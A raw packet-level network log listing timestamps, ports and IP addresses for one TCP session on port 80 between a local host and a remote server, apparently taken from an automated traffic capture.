Nov 12, 2024 15:41:26.852372885 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.852401018 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.852653980 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.852699995 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.852710962 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.852720976 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.852754116 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.852787971 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.852797985 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.852833986 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.853097916 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.853163958 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.853174925 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.853207111 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.853229046 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.853239059 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.853247881 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.853256941 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.853274107 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.853277922 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.853286982 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.853292942 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.853296041 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.853302956 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.853318930 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.853348970 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.853364944 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.853404045 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.853418112 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.853427887 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.853460073 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.853486061 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.853492975 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.853502989 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.853538036 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.854255915 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.854298115 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.854389906 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.854398966 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.854427099 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.854430914 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.854468107 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.854576111 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.854594946 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.854604959 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.854636908 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.854654074 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.854664087 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.854665041 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.854677916 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.854702950 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.854706049 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.854732037 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.854738951 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.854763031 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.854793072 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.854820013 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.854829073 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.854867935 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.854876041 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.854885101 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.854893923 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.854904890 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.854913950 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.854921103 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.854947090 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.854954004 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.854959011 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.854970932 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.854979992 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.854981899 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.854990959 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.855001926 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.855011940 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.855026007 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.855036020 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.855045080 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.855047941 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.855056047 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.855077982 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.855094910 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.855099916 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.855106115 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.855114937 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.855125904 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.855137110 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.855137110 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.855175972 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.855195045 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.855196953 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.855206013 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.855216980 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.855232000 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.855256081 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.855686903 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.855698109 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.855762959 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.871855974 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.871927977 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.872659922 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.872709990 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.938627005 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.938644886 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.938654900 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.938746929 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.938771009 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.938946962 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.938966036 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.938973904 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.939017057 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.939030886 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.939090014 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.939100027 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.939110041 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.939152956 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.939172983 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.939192057 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.939207077 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.939213037 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.939217091 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.939229965 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.939233065 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.939255953 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.939275980 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.939336061 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.939348936 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.939357996 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.939382076 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.939445972 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.939492941 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.939510107 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.939518929 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.939538002 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.939541101 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.939557076 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.939580917 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.939601898 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.939615965 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.939646959 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.939654112 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.939661980 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.939671993 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.939681053 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.939690113 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.939714909 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.939748049 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.939759970 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.939795017 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.939939976 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.939964056 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.939985991 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.940031052 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.940577984 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.940593004 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.940602064 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.940612078 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.940629959 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.940658092 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.940660954 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.940675974 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.940690041 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.940699100 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.940701962 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.940707922 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.940722942 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.940730095 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.940733910 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.940742970 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.940748930 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.940752983 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.940768957 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.940772057 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.940783024 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.940787077 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.940793037 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.940804005 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.940857887 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.940874100 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.940881968 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.940884113 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.940892935 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.940901041 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.940903902 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.940913916 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.940915108 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.940924883 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.940963030 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.940994978 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.941004992 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.941014051 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.941023111 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.941042900 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.941044092 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.941052914 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.941055059 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.941062927 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.941071987 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.941076994 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.941085100 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.941093922 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.941109896 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.941131115 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.941227913 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.941240072 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.941247940 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.941258907 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.941268921 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.941276073 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.941282988 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.941289902 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.941293955 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.941294909 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.941301107 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.941308975 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.941314936 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.941325903 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.941337109 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.941343069 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.941344976 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.941361904 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.941375017 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.941392899 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.941402912 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.941416979 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.941450119 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.941458941 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.968978882 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.968997955 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.969007969 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.969111919 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.969182014 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.969193935 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.969203949 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.969213963 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.969223976 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.969228029 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.969238997 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.969248056 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.969280005 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.969280005 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.969290972 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.969300985 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.969332933 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.969361067 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.969376087 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.969384909 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.969393969 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.969408989 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.969409943 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.969418049 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.969429016 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.969444036 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.969445944 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.969455004 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.969465971 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.969474077 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.969492912 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.969494104 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.969511032 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.969513893 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.969527960 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.969532013 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.969536066 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.969547033 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.969554901 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.969563961 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.969583035 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.969645023 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.969659090 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.969697952 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.969701052 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.969711065 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.969721079 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.969747066 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.969753981 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.969822884 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.969836950 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.969846010 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.969856024 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.969868898 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.969873905 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.969885111 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.969896078 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.969897032 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.969907045 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.969913960 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.969932079 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.969944000 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.969949007 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.969959974 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.969969988 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.969973087 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.969983101 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.969993114 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.970015049 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.970025063 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.970036983 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.970046043 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.970071077 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.970083952 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.970139027 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.970148087 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.970165014 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.970176935 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.970185041 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.970187902 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.970199108 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.970206976 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.970221043 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.970248938 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.970258951 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.970268011 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.970277071 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.970288038 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.970310926 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.970324039 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.970330954 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.970343113 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.970349073 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.970350981 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.970386028 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.970438004 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.970449924 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.970472097 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.970483065 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.970494032 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.970500946 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.970504999 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.970514059 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.970520973 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.970525026 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.970541954 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.970547915 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.970565081 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.970582008 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.970592022 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.970606089 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.970616102 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.970616102 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.970626116 CET	80	49761	185.215.113.16	192.168.2.4
